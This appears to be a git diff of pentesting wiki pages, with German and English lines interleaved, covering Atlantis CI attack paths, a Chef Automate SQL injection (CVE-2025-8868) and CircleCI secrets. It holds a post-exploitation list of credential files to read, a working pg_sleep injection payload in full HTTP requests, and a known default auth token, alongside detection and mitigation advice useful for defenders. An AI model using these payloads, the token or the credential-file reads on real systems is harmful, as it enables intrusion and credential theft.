Ausführen von **bösartigen benutzerdefinierten Build-Befehlen**, die in einer `atlantis.yaml`-Datei angegeben sind. Atlantis verwendet die `atlantis.yaml`-Datei aus dem Pull-Request-Zweig, **nicht** von `master`.\
Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:
#### Custom Workflow
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
This possibility was mentioned in a previous section:
> [!CAUTION]
> Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allow_custom_workflows` auf **True** gesetzt ist, können Workflows in der **`atlantis.yaml`**-Datei jedes Repos **spezifiziert** werden. Es könnte auch erforderlich sein, dass **`allowed_overrides`** ebenfalls **`workflow`** angibt, um den Workflow zu **überschreiben**, der verwendet werden soll.
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
>
> Dies gibt im Grunde **RCE im Atlantis-Server für jeden Benutzer, der auf dieses Repo zugreifen kann**.
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
>
> ```yaml
> # atlantis.yaml
@@ -272,101 +286,106 @@ Diese Möglichkeit wurde in einem vorherigen Abschnitt erwähnt:
> - run: my custom apply command
> ```
#### Umgehung von Plan-/Anwendungs-Schutzmaßnahmen
#### Bypass plan/apply protections
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
Wenn das [**serverseitige Konfigurations**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) Flag `allowed_overrides` _hat_ `apply_requirements` konfiguriert, ist es möglich, dass ein Repo die **Plan-/Anwendungs-Schutzmaßnahmen ändert, um sie zu umgehen**.
```yaml
repos:
- id: /.*/
apply_requirements: []
- id: /.*/
apply_requirements: []
```
#### PR Hijacking
Wenn jemand **`atlantis plan/apply` Kommentare zu Ihren gültigen Pull-Requests sendet,** wird Terraform ausgeführt, wenn Sie es nicht möchten.
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
Darüber hinaus, wenn Sie nicht in den **Branch-Schutz** konfiguriert haben, um bei jedem **neuen Commit** zu verlangen, dass jeder PR **neu bewertet** wird, könnte jemand **bösartige Konfigurationen** (siehe vorherige Szenarien) in der Terraform-Konfiguration schreiben, `atlantis plan/apply` ausführen und RCE erlangen.
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
Dies ist die **Einstellung** in den Github-Branch-Schutz:
This is the **setting** in Github branch protections:
![](<../images/image (216).png>)
#### Webhook Secret
Wenn es Ihnen gelingt, das **Webhook-Secret** zu **stehlen** oder wenn **kein Webhook-Secret** verwendet wird, könnten Sie **den Atlantis-WebHook aufrufen** und **Atlantis-Befehle** direkt ausführen.
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
#### Bitbucket
Bitbucket Cloud unterstützt **keine Webhook-Secrets**. Dies könnte Angreifern ermöglichen, **Anfragen von Bitbucket zu fälschen**. Stellen Sie sicher, dass Sie nur Bitbucket-IP-Adressen zulassen.
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
- Das bedeutet, dass ein **Angreifer** **falsche Anfragen an Atlantis** stellen könnte, die so aussehen, als kämen sie von Bitbucket.
- Wenn Sie `--repo-allowlist` angeben, könnten sie nur Anfragen zu diesen Repos fälschen, sodass der größte Schaden, den sie anrichten könnten, darin bestünde, auf Ihren eigenen Repos zu planen/anwenden.
- Um dies zu verhindern, erlauben Sie [Bitbucket's IP-Adressen](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (siehe ausgehende IPv4-Adressen).
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
### Post-Exploitation
Wenn Sie Zugriff auf den Server erhalten haben oder zumindest LFI haben, gibt es einige interessante Dinge, die Sie versuchen sollten zu lesen:
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
- `/home/atlantis/.git-credentials` Enthält VCS-Zugangsdaten
- `/atlantis-data/atlantis.db` Enthält VCS-Zugangsdaten mit weiteren Informationen
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform-Zustandsdatei
- Beispiel: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Umgebungsvariablen
- `/proc/[2-20]/cmdline` Cmd-Zeile von `atlantis server` (kann sensible Daten enthalten)
- `/home/atlantis/.git-credentials` Contains vcs access credentials
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env variables
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
### Mitigationen
### Mitigations
#### Verwenden Sie es nicht auf öffentlichen Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
Da jeder auf öffentlichen Pull-Requests kommentieren kann, ist es selbst mit allen verfügbaren Sicherheitsmaßnahmen immer noch gefährlich, Atlantis auf öffentlichen Repos ohne ordnungsgemäße Konfiguration der Sicherheitseinstellungen auszuführen.
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
#### Verwenden Sie nicht `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
Wenn Sie auf einem öffentlichen Repo (was nicht empfohlen wird, siehe oben) arbeiten, sollten Sie `--allow-fork-prs` nicht setzen (Standard ist false), da jeder einen Pull-Request von seinem Fork zu Ihrem Repo öffnen kann.
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
Atlantis erfordert, dass Sie eine Allowlist von Repositories angeben, von denen es Webhooks über das Flag `--repo-allowlist` akzeptiert. Zum Beispiel:
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
- Bestimmte Repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Ihre gesamte Organisation: `--repo-allowlist=github.com/runatlantis/*`
- Jedes Repository in Ihrer GitHub Enterprise-Installation: `--repo-allowlist=github.yourcompany.com/*`
- Alle Repositories: `--repo-allowlist=*`. Nützlich, wenn Sie sich in einem geschützten Netzwerk befinden, aber gefährlich, ohne auch ein Webhook-Secret festzulegen.
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
Dieses Flag stellt sicher, dass Ihre Atlantis-Installation nicht mit Repositories verwendet wird, die Sie nicht kontrollieren. Siehe `atlantis server --help` für weitere Details.
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
#### Schützen Sie Terraform-Planung <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
Wenn Angreifer Pull-Requests mit bösartigem Terraform-Code in Ihrem Bedrohungsmodell einreichen, müssen Sie sich bewusst sein, dass Genehmigungen für `terraform apply` nicht ausreichen. Es ist möglich, bösartigen Code in einem `terraform plan` auszuführen, indem die [`external` Datenquelle](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) oder ein bösartiger Anbieter angegeben wird. Dieser Code könnte dann Ihre Anmeldeinformationen exfiltrieren.
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
Um dies zu verhindern, könnten Sie:
To prevent this, you could:
1. Anbieter in das Atlantis-Image einbacken oder hosten und den Ausgang im Produktionsumfeld verweigern.
2. Das Anbieter-Registry-Protokoll intern implementieren und öffentlichen Ausgang verweigern, sodass Sie kontrollieren, wer Schreibzugriff auf das Registry hat.
3. Ihren [serverseitigen Repo-Konfigurations](https://www.runatlantis.io/docs/server-side-repo-config.html) `plan`-Schritt so modifizieren, dass er gegen die Verwendung von nicht erlaubten Anbietern oder Datenquellen oder PRs von nicht erlaubten Benutzern validiert. Sie könnten auch an diesem Punkt zusätzliche Validierungen hinzufügen, z.B. ein "Daumen hoch" für den PR verlangen, bevor Sie den `plan` fortsetzen lassen. Conftest könnte hier nützlich sein.
1. Bake providers into the Atlantis image or host and deny egress in production.
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
#### Webhook-Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
Atlantis sollte mit Webhook-Secrets ausgeführt werden, die über die Umgebungsvariablen `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` festgelegt sind. Selbst mit dem gesetzten Flag `--repo-allowlist` könnten Angreifer Anfragen an Atlantis stellen, die sich als ein Repository ausgeben, das auf der Allowlist steht. Webhook-Secrets stellen sicher, dass die Webhook-Anfragen tatsächlich von Ihrem VCS-Anbieter (GitHub oder GitLab) stammen.
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
Wenn Sie Azure DevOps verwenden, fügen Sie anstelle von Webhook-Secrets einen grundlegenden Benutzernamen und ein Passwort hinzu.
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
#### Azure DevOps Basis-Authentifizierung <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
Azure DevOps unterstützt das Senden eines Basis-Authentifizierungs-Headers in allen Webhook-Ereignissen. Dies erfordert die Verwendung einer HTTPS-URL für Ihren Webhook-Standort.
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
Wenn Sie Webhook-Secrets verwenden, aber Ihr Datenverkehr über HTTP läuft, könnten die Webhook-Secrets gestohlen werden. Aktivieren Sie SSL/HTTPS mit den Flags `--ssl-cert-file` und `--ssl-key-file`.
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
#### Aktivieren Sie die Authentifizierung auf dem Atlantis-Webserver <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
Es wird dringend empfohlen, die Authentifizierung im Webdienst zu aktivieren. Aktivieren Sie BasicAuth mit `--web-basic-auth=true` und richten Sie einen Benutzernamen und ein Passwort mit den Flags `--web-username=yourUsername` und `--web-password=yourPassword` ein.
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
Sie können diese auch als Umgebungsvariablen übergeben: `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` und `ATLANTIS_WEB_PASSWORD=yourPassword`.
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
### Referenzen
### References
- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,13 +1,13 @@
# Chef Automate Sicherheit
# Chef Automate Security
{{#include ../../banners/hacktricks-training.md}}
## Was ist Chef Automate
## What is Chef Automate
Chef Automate ist eine Plattform für Infrastrukturautomatisierung, Compliance und Anwendungsbereitstellung. Es bietet eine Web-UI (oft Angular), die über ein gRPC-Gateway mit backend gRPC services kommuniziert und REST-ähnliche Endpunkte unter Pfaden wie /api/v0/ bereitstellt.
Chef Automate is a platform for infrastructure automation, compliance, and application delivery. It exposes a web UI (often Angular) that talks to backend gRPC services via a gRPC-Gateway, providing REST-like endpoints under paths such as /api/v0/.
- Häufige Backend-Komponenten: gRPC services, PostgreSQL (oft sichtbar über pq: error prefixes), data-collector ingest service
- Auth-Mechanismen: user/API tokens und ein data collector token Header x-data-collector-token
- Common backend components: gRPC services, PostgreSQL (often visible via pq: error prefixes), data-collector ingest service
- Auth mechanisms: user/API tokens and a data collector token header x-data-collector-token
## Enumeration & Attacks
@@ -15,4 +15,4 @@ Chef Automate ist eine Plattform für Infrastrukturautomatisierung, Compliance u
chef-automate-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,77 +1,82 @@
# Chef Automate Aufklärung & Angriffe
# Chef Automate Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
## Übersicht
## Overview
Diese Seite sammelt praktische Techniken, um Chef Automate-Instanzen zu enumerieren und anzugreifen, mit Schwerpunkt auf:
- Aufdecken von REST-Endpunkten, die von gRPC-Gateway bereitgestellt werden, und Ermitteln von Request-Schemata durch Validierungs-/Fehlerantworten
- Missbrauch des Headers x-data-collector-token zur Authentifizierung, wenn Standardwerte vorhanden sind
- Time-based blind SQL injection in der Compliance API (CVE-2025-8868), die das Feld filters[].type in /api/v0/compliance/profiles/search betrifft
This page collects practical techniques to enumerate and attack Chef Automate instances, with emphasis on:
- Discovering gRPC-Gateway-backed REST endpoints and inferring request schemas via validation/error responses
- Abusing the x-data-collector-token authentication header when defaults are present
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) affecting the filters[].type field in /api/v0/compliance/profiles/search
> Hinweis: Backend-Antworten, die den Header grpc-metadata-content-type: application/grpc enthalten, deuten typischerweise auf eine gRPC-Gateway-Brücke von REST-Aufrufen zu gRPC-Services hin.
> Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
## Recon: Architektur und Fingerabdrücke
## Recon: Architecture and Fingerprints
- Front-end: Oft Angular. Statische Bundles können auf REST-Pfade hinweisen (z. B. /api/v0/...)
- API-Transport: REST zu gRPC via gRPC-Gateway
- Antworten können grpc-metadata-content-type: application/grpc enthalten
- Datenbank-/Treiber-Fingerprints:
- Fehlerkörper, die mit pq: beginnen, deuten stark auf PostgreSQL mit dem Go pq-Driver hin
- Interessante Compliance-Endpunkte (Auth erforderlich):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
## Auth: Data Collector Token (x-data-collector-token)
Chef Automate stellt einen Data Collector bereit, der Requests über einen dedizierten Header authentifiziert:
Chef Automate exposes a data collector that authenticates requests via a dedicated header:
- Header: x-data-collector-token
- Risiko: In einigen Umgebungen kann ein Default-Token erhalten bleiben, das Zugriff auf geschützte API-Routen gewährt. Bekannter Standardwert, der in freier Wildbahn beobachtet wurde:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
Ist dieses Token vorhanden, kann es verwendet werden, um Compliance-API-Endpunkte aufzurufen, die ansonsten durch Auth geschützt sind. Versuchen Sie beim Härten immer, Default-Werte zu rotieren/deaktivieren.
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
## API-Schema-Ermittlung via fehlergetriebener Discovery
## API Schema Inference via Error-Driven Discovery
gRPC-Gateway-backed Endpunkte leak oft nützliche Validierungsfehler, die das erwartete Request-Modell beschreiben.
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
Für /api/v0/compliance/profiles/search erwartet das Backend einen Body mit einem filters-Array, wobei jedes Element ein Objekt mit folgenden Feldern ist:
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
- type: string (Filterfeld-Identifier)
- type: string (filter field identifier)
- values: array of strings
Beispielhafte Request-Struktur:
Example request shape:
```json
{
"filters": [
{ "type": "name", "values": ["test"] }
]
"filters": [
{ "type": "name", "values": ["test"] }
]
}
```
Fehlerhaftes JSON oder falsche Feldtypen lösen typischerweise 4xx/5xx-Antworten mit Hinweisen aus, und Header zeigen das Verhalten des gRPC-Gateway an. Nutze diese, um Felder zuzuordnen und injection surfaces zu lokalisieren.
Malformed JSON or wrong field types typically trigger 4xx/5xx with hints, and headers indicate the gRPC-Gateway behavior. Use these to map fields and localize injection surfaces.
## Compliance API SQL Injection (CVE-2025-8868)
- Betroffener Endpoint: POST /api/v0/compliance/profiles/search
- Affected endpoint: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Schwachstellenklasse: time-based blind SQL injection in PostgreSQL
- Ursache: Fehlende ordnungsgemäße parameterization/whitelisting beim Interpolieren des type field in ein dynamisches SQL-Fragment (wahrscheinlich verwendet, um identifiers/WHERE clauses zu konstruieren). Manipulierte Werte im type werden von PostgreSQL ausgewertet.
- Vulnerability class: time-based blind SQL injection in PostgreSQL
- Root cause: Lack of proper parameterization/whitelisting when interpolating the type field into a dynamic SQL fragment (likely used to construct identifiers/WHERE clauses). Crafted values in type are evaluated by PostgreSQL.
Working time-based payload:
- Funktionierendes time-based payload:
```json
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Technique notes:
- Schließe den ursprünglichen string mit einem single quote
- Hänge eine subquery an, die pg_sleep(N) aufruft
- Tritt mittels || wieder in den string-Kontext ein, sodass das finale SQL syntaktisch gültig bleibt, unabhängig davon, wo type eingebettet ist
- Close the original string with a single quote
- Concatenate a subquery that calls pg_sleep(N)
- Re-enter string context via || so the final SQL remains syntactically valid regardless of where type is embedded
### Nachweis durch differentielle Latenz
### Proof via differential latency
Sende gepaarte requests und vergleiche die Antwortzeiten, um server-side execution zu validieren:
Send paired requests and compare response times to validate server-side execution:
- N = 1 second
- N = 1 Sekunde
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -80,7 +85,9 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
```
- N = 5 Sekunden
- N = 5 seconds
```
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
@@ -89,49 +96,50 @@ x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
```
Beobachtetes Verhalten:
- Antwortzeiten skalieren mit pg_sleep(N)
- HTTP-500-Antworten können während des Probes pq:-Details enthalten, was auf ausgeführte SQL-Pfade hinweist
> Tipp: Verwende einen Timing-Validator (z. B. mehrere Durchläufe mit statistischem Vergleich), um Rauschen und False Positives zu reduzieren.
Observed behavior:
- Response times scale with pg_sleep(N)
- HTTP 500 responses may include pq: details during probing, confirming SQL execution paths
### Auswirkung
> Tip: Use a timing validator (e.g., multiple trials with statistical comparison) to reduce noise and false positives.
Authentifizierte Benutzer — oder nicht authentifizierte Akteure, die einen Standard-x-data-collector-token missbrauchen — können beliebiges SQL im PostgreSQL-Kontext von Chef Automate ausführen und so die Vertraulichkeit und Integrität von Compliance-Profilen, Konfiguration und Telemetrie gefährden.
### Impact
### Betroffene Versionen / Behebung
Authenticated users—or unauthenticated actors abusing a default x-data-collector-token—can execute arbitrary SQL within Chef Automates PostgreSQL context, risking confidentiality and integrity of compliance profiles, configuration, and telemetry.
### Affected versions / Fix
- CVE: CVE-2025-8868
- Upgrade-Empfehlung: Chef Automate 4.13.295 oder neuer (Linux x86) laut Herstellerhinweisen
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
## Erkennung und Forensik
## Detection and Forensics
- API-Ebene:
- Überwache 500s auf /api/v0/compliance/profiles/search, wenn filters[].type Anführungszeichen ('), Konkatenation (||) oder Funktionsreferenzen wie pg_sleep enthält
- Prüfe Response-Header auf grpc-metadata-content-type, um gRPC-Gateway-Flows zu identifizieren
- Datenbank-Ebene (PostgreSQL):
- Prüfe auf pg_sleep-Aufrufe und auf Fehler durch fehlerhafte Identifier (oft mit pq:-Präfixen, die vom Go pq driver kommen)
- Authentifizierung:
- Protokolliere und alarmiere bei Verwendung von x-data-collector-token, insbesondere bekannter Standardwerte, über API-Pfade hinweg
- API layer:
- Monitor 500s on /api/v0/compliance/profiles/search where filters[].type contains quotes ('), concatenation (||), or function references like pg_sleep
- Inspect response headers for grpc-metadata-content-type to identify gRPC-Gateway flows
- Database layer (PostgreSQL):
- Audit for pg_sleep calls and malformed identifier errors (often surfaced with pq: prefixes coming from the Go pq driver)
- Authentication:
- Log and alert on usage of x-data-collector-token, especially known default values, across API paths
## Abmilderungen und Härtung
## Mitigations and Hardening
- Sofortmaßnahmen:
- Standard-Data-Collector-Tokens rotieren/deaktivieren
- Eingehenden Zugriff auf Data-Collector-Endpunkte beschränken; starke, eindeutige Tokens erzwingen
- Code-Ebene:
- Queries parameterisieren; niemals SQL-Fragmente per String-Konkatenation zusammenfügen
- Zulässige type-Werte auf dem Server strikt per Whitelist einschränken (enum)
- Dynamische SQL-Zusammenstellung für Identifier/Klauseln vermeiden; falls dynamisches Verhalten erforderlich ist, sicheres Identifier-Quoting und explizite Whitelists verwenden
- Immediate:
- Rotate/disable default data collector tokens
- Restrict ingress to data collector endpoints; enforce strong, unique tokens
- Code-level:
- Parameterize queries; never string-concatenate SQL fragments
- Strictly whitelist allowed type values on the server (enum)
- Avoid dynamic SQL assembly for identifiers/clauses; if dynamic behavior is required, use safe identifier quoting and explicit whitelists
## Praktische Test-Checkliste
## Practical Testing Checklist
- Prüfe, ob x-data-collector-token akzeptiert wird und ob der bekannte Standardwert funktioniert
- Kartiere das Compliance API Request-Schema, indem du Validierungsfehler provozierst und Fehlermeldungen/Headers ausliest
- Teste auf SQLi in weniger offensichtlichen „identifier-like“ Feldern (z. B. filters[].type), nicht nur in Werte-Arrays oder top-level Textfeldern
- Verwende zeitbasierte Techniken mit Konkatenation, um SQL kontextübergreifend syntaktisch gültig zu halten
- Check if x-data-collector-token is accepted and whether the known default works
- Map the Compliance API request schema by inducing validation errors and reading error messages/headers
- Test for SQLi in less obvious “identifier-like” fields (e.g., filters[].type), not just values arrays or top-level text fields
- Use time-based techniques with concatenation to keep SQL syntactically valid across contexts
## Referenzen
## References
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
@@ -139,4 +147,4 @@ Authentifizierte Benutzer — oder nicht authentifizierte Akteure, die einen Sta
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,235 +1,258 @@
# CircleCI-Sicherheit
# CircleCI Security
{{#include ../banners/hacktricks-training.md}}
### Grundinformationen
### Basic Information
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) ist eine Continuous Integration-Plattform, auf der Sie **Vorlagen definieren** können, die angeben, was Sie mit einem Code tun möchten und wann. Auf diese Weise können Sie **Tests** oder **Deployments** direkt **aus Ihrem Repo-Master-Branch** automatisieren.
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
### Berechtigungen
### Permissions
**CircleCI** **erbt die Berechtigungen** von GitHub und Bitbucket, die mit dem **Konto** verbunden sind, das sich anmeldet.\
In meinen Tests habe ich überprüft, dass Sie, solange Sie **Schreibberechtigungen für das Repo in GitHub** haben, in der Lage sind, **die Projekteinstellungen in CircleCI zu verwalten** (neue SSH-Schlüssel festlegen, Projekt-API-Schlüssel abrufen, neue Branches mit neuen CircleCI-Konfigurationen erstellen...).
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
Sie müssen jedoch ein **Repo-Administrator** sein, um **das Repo in ein CircleCI-Projekt umzuwandeln**.
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
### Umgebungsvariablen & Geheimnisse
### Env Variables & Secrets
Laut [**den Dokumenten**](https://circleci.com/docs/2.0/env-vars/) gibt es verschiedene Möglichkeiten, um **Werte in Umgebungsvariablen** innerhalb eines Workflows zu **laden**.
According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
#### Eingebaute Umgebungsvariablen
#### Built-in env variables
Jeder Container, der von CircleCI ausgeführt wird, hat immer [**spezifische Umgebungsvariablen, die in der Dokumentation definiert sind**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) wie `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` oder `CIRCLE_USERNAME`.
Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
#### Klartext
#### Clear text
You can declare them in clear text inside a **command**:
Sie können sie im Klartext innerhalb eines **Befehls** deklarieren:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
Sie können sie im Klartext innerhalb der **Ausführungsumgebung** deklarieren:
You can declare them in clear text inside the **run environment**:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
Sie können sie im Klartext innerhalb der **build-job Umgebung** deklarieren:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
Sie können sie im Klartext innerhalb der **Umgebung eines Containers** deklarieren:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Projektgeheimnisse
Dies sind **Geheimnisse**, die nur vom **Projekt** (von **irgendeinem Branch**) **zugänglich** sind.\
Sie können sie **deklariert in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ sehen.
You can declare them in clear text inside the **build-job environment**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
You can declare them in clear text inside the **environment of a container**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Project Secrets
These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
